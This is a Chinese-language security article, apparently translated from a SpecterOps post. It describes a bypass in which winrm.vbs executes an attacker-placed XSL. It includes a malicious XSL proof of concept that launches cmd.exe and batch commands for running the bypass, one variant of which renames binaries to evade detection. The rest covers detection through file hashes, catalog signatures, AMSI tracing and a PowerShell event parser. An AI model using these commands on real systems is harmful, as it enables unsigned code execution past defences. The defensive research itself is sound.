严正声明：本文仅限于技术探讨，严禁用于其他用途。

绕过技术

winrm.vbs（System31中的一个Windows签名脚本）能够执行攻击者控制的XSL，它不会受到相关脚本主机的限制，并实现任意无符号代码执行。

当你向winrm.vbs提供“-format:pretty”或“-format:text”时，它会从cscript.exe所在的目录中相应地导出WsmPty.xsl或WsmTxt.xsl。这也就意味着，如果攻击者能够将cscript.exe拷贝到一个他能控制的且存储了恶意XSL的位置，他们就能够执行任意未签名的代码。实际上，这个问题跟Casey Smith的wmic.exe技术完全相同。

PoC

攻击操作机制如下：

1． 将WsmPty.xsl或WsmTxt.xsl存放到一个由攻击者控制的地方；

2． 将cscript.exe拷贝到同一个位置；

3． 通过“-format”指定”pretty”或“text”来执行winrm.vbs，具体取决于使用的是WsmPty.xsl或WsmTxt.xsl。

下面给出的是一个恶意XLS样本，我们需要将它放到攻击者控制的目录位置，这里选择的是C:\BypassDir\WsmPty.xsl：

<?xmlversion='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform"xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<outputmethod="text"/>
 <ms:scriptimplements-prefix="user" language="JScript">
 <![CDATA[
 var r = newActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

其实我们还可以在WsmPty.xsl中嵌入恶意的DotNetToJScript  Payload，并执行任意未签名代码。接下来，可以使用下列batch文件来执行Payload：

mkdir%SystemDrive%\BypassDir
copy%windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript//nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty

检测和绕过策略

在实现这项技术的过程中，必须用到的就是攻击者可控的WsmPty.xsl或WsmTxt.xsl。

winrm.vbs会对WsmPty.xsl或WsmTxt.xsl进行硬编码，并显式地将它们绑定到“pretty”和“text”参数上。就此看来，我们似乎没有办法来控制winrm.vbs去执行当前目录中的不同xls文件。从检测的角度来看，WsmPty.xsl或WsmTxt.xsl文件的哈希会跟System 32中原本的文件哈希不同，因此它们会被当作可疑文件，因为合法xls文件的哈希值很少会发生变化。

除此之外，合法WsmPty.xsl或WsmTxt.xsl文件应该是目录签名的，哈希值发生变化后将不会再对其进行签名。也就是说，磁盘中任何没有签名的WsmPty.xsl或WsmTxt.xsl文件都应该是可疑文件。需要注意的是，目录签名验证需要运行“cryptsvc”服务。

基于命令行来检测winrm.vbs是否存在的这种方案相对较弱，因为攻击者可以将winrm.vbs重命名为他们所选择的文件。

为了使用xls文件，这里必须在“format”参数中指定“pretty”或“text”。下面给出的是支持的“format”参数（大小写不敏感）：

-format:pretty
-format:"pretty"
/format:pretty
/format:"pretty"
-format:text
-format:"text"
/format:text
/format:"text"

虽然构建基于“format”是否存在的检测方案能够捕捉到所有的变化，但这种检测方案是存在问题的。“format”参数是否合法使用将取决于组织所采用的方案。不过除了System32中的cscript.exe和winrm.vbs之外，不太可能从其他任何地方合法调用了。

下面给出的是一个更新版的.bat PoC，它能够绕过cscript.exe的检测：

mkdir%SystemDrive%\BypassDir\cscript.exe
copy%windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe//nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty

WSH/XSLScript脚本

毫无疑问，攻击者还会继续使用XSL和WSH来进行攻击。理想情况下，攻击者是可以知道Payload到底是从硬盘中执行的还是完全在内存中执行的。虽然Powershell具有这种使用scriptblock日志的能力，但针对WSH却没有相应的工具。随着反恶意软件扫描接口（AMSI）的引入，我们将能够捕捉到WSH内容。

这里我们可以使用logman.exe来对ETL事件进行跟踪，比如说下列命令将能够控制ETW的跟踪操作，并将跟AMSI相关的事件信息保存早AMSITrace.etl之中：

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl-ets
<Afterstarting the trace, this is when you'd run your malicious code to capture itscontext.>
logmanstop AMSITrace -ets

接下来，我们还可以通过输出数据清单来了解更多事件信息：

<instrumentation Manifestxmlns="http://schemas.microsoft.com/win/2004/08/events">
 <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
  <events>
   <provider name="Microsoft-Antimalware-Scan-Interface"guid="{2a576b87-09a7-520e-c21a-4942f0271d67}"resourceFileName="Microsoft-Antimalware-Scan-Interface"messageFileName="Microsoft-Antimalware-Scan-Interface"symbol="MicrosoftAntimalwareScanInterface" source="Xml">
    <keywords>
     <keyword name="Event1"message="$(string.keyword_Event1)" mask="0x1"/>
    </keywords>
    <tasks>
     <task name="task_0"message="$(string.task_task_0)" value="0"/>
    </tasks>
    <events>
     <event value="1101"symbol="task_0" version="0" task="task_0"level="win:Informational" keywords="Event1"template="task_0Args"/>
    </events>
    <templates>
     <templatetid="task_0Args">
      <data name="session"inType="win:Pointer"/>
      <data name="scanStatus"inType="win:UInt8"/>
      <data name="scanResult"inType="win:UInt32"/>
      <data name="appname"inType="win:UnicodeString"/>
      <data name="contentname"inType="win:UnicodeString"/>
      <data name="contentsize"inType="win:UInt32"/>
      <data name="originalsize"inType="win:UInt32"/>
      <data name="content"inType="win:Binary" length="contentsize"/>
      <data name="hash" inType="win:Binary"/>
      <data name="contentFiltered"inType="win:Boolean"/>
     </template>
    </templates>
   </provider>
  </events>
 </instrumentation>
 <localization>
  <resources culture="en-US">
   <stringTable>
    <string id="keyword_Event1"value="Event1"/>
    <string id="task_task_0"value="task_0"/>
   </stringTable>
  </resources>
 </localization>
</instrumentation Manifest>

捕捉到.etl跟踪信息之后，我们可以选择自己喜欢的工具来对其进行分析。Powershell中的Gt-WinEvent就是一个很好的内置.etl解析器。为此，我自己编写了一个简单的脚本来分析AMSI事件，这个脚本还可以捕捉到PowerShell中的内容：

#Script author: Matt Graeber (@mattifestation)
#logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -oAMSITrace.etl -ets
# Doyour malicious things here that would be logged by AMSI
#logman stop AMSITrace -ets
 
$OSArchProperty= Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch= $OSArchProperty.OSArchitecture
 
$OSPointerSize= 32
if($OSArch -eq '64-bit') { $OSPointerSize = 64 }
 
$AMSIScanEvents= Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath'*[System[EventID=1101]]' | ForEach-Object {
    if(-not $_.Properties) {
        # The AMSI provider is not supplyingthe contentname property when WSH content is logged resulting
        # in Get-WinEvent or Event Viewer beingunable to parse the data based on the schema.
        # If this bug were not present,retrieving WSH content would be trivial.
 
        $PayloadString = ([Xml]$_.ToXml()).Event.ProcessingErrorData.EventPayload
        [Byte[]] $PayloadBytes =($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object{[Byte] "0x$_"})
 
        $MemoryStream = New-Object -TypeNameIO.MemoryStream -ArgumentList @(,$PayloadBytes)
        $BinaryReader = New-Object -TypeNameIO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)
 
        switch ($OSPointerSize) {
            32 { $Session =$BinaryReader.ReadUInt32() }
            64 { $Session =$BinaryReader.ReadUInt64() }
        }
 
        $ScanStatus = $BinaryReader.ReadByte()
        $ScanResult = $BinaryReader.ReadInt32()
 
        $StringBuilder = New-Object -TypeNameText.StringBuilder
        do { $CharVal =$BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) }while ($CharVal -ne 0)
        $AppName = $StringBuilder.ToString()
        $null = $StringBuilder.Clear()
 
        $ContentSize =$BinaryReader.ReadInt32()
        $OriginalSize =$BinaryReader.ReadInt32()
        $ContentRaw =$BinaryReader.ReadBytes($ContentSize)
        $Content =[Text.Encoding]::Unicode.GetString($ContentRaw)
        $Hash =[BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
        [Bool] $ContentFiltered =$BinaryReader.ReadInt32()
 
        $BinaryReader.Close()
 
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $null
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    } else {
        $Session = $_.Properties[0].Value
        $ScanStatus = $_.Properties[1].Value
        $ScanResult = $_.Properties[2].Value
        $AppName = $_.Properties[3].Value
        $ContentName = $_.Properties[4].Value
        $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
        $Hash =[BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
        $ContentFiltered =$_.Properties[9].Value
 
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $ContentName
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    }
}
 
$AMSIScanEvents

捕捉到相关信息之后，我们将能够看到Payload的执行内容：

后话

我们清楚这项技术一旦公开之后，很多攻击者便会加快针对这种技术变种的开发，这也就是为什么在公布一种攻击技术之前，我们需要将其上报给相关厂商，并给他们留下充足的时间来解决相关问题，以确保更新能够及时交付给客户。

* 参考来源：specterops，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM。